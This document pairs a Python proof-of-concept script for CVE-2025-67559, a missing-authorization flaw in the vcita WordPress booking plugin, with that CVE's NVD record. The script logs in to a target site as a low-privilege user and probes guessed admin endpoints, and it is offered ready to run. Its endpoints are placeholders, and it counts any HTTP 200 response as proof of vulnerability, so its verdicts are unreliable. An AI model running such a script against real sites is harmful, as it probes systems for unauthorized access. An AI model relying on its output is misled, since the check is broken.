CVE-2025-67559

import requests import sys # CVE-2025-67559 PoC - Missing Authorization in vcita WordPress Plugin # Target: WordPress site with vcita Online Booking plugin <= 4.5.5 def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-67559 """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting to login as low-privilege user: {username}") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Try to access admin-only functionality # Replace with actual vulnerable endpoint based on plugin analysis vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=vcita_admin_action', '/wp-json/vcita/v1/settings', '/wp-admin/admin.php?page=vcita-settings' ] print("[*] Testing for missing authorization...") for endpoint in vulnerable_endpoints: test_url = target_url + endpoint response = session.get(test_url) # Check if we can access admin functionality without proper privileges if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response snippet: {response.text[:200]}...") return True print("[-] Target may not be vulnerable or endpoint not found") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-67559.py <target_url> <username> <password>") print("Example: python cve-2025-67559.py http://example.com testuser testpass") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] is_vulnerable = check_vulnerability(target, user, pwd) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-67559") else: print("\n[+] Target appears to be patched")

{"cve": {"id": "CVE-2025-67559", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:32.290", "lastModified": "2026-04-27T18:16:43.067", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in vcita Online Booking & Scheduling Calendar for WordPress by vcita meeting-scheduler-by-vcita allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Online Booking & Scheduling Calendar for WordPress by vcita: from n/a through <= 4.5.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vcita:online_booking_\\&_scheduling_calendar:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.6.0", "matchCriteriaId": "5035FB26-05F3-4A12-88E2-A9FC878C3CD3"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/meeting-scheduler-by-vcita/vulnerability/wordpress-online-booking-scheduling-calendar-for-wordpress-by-vcita-plugin-4-5-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}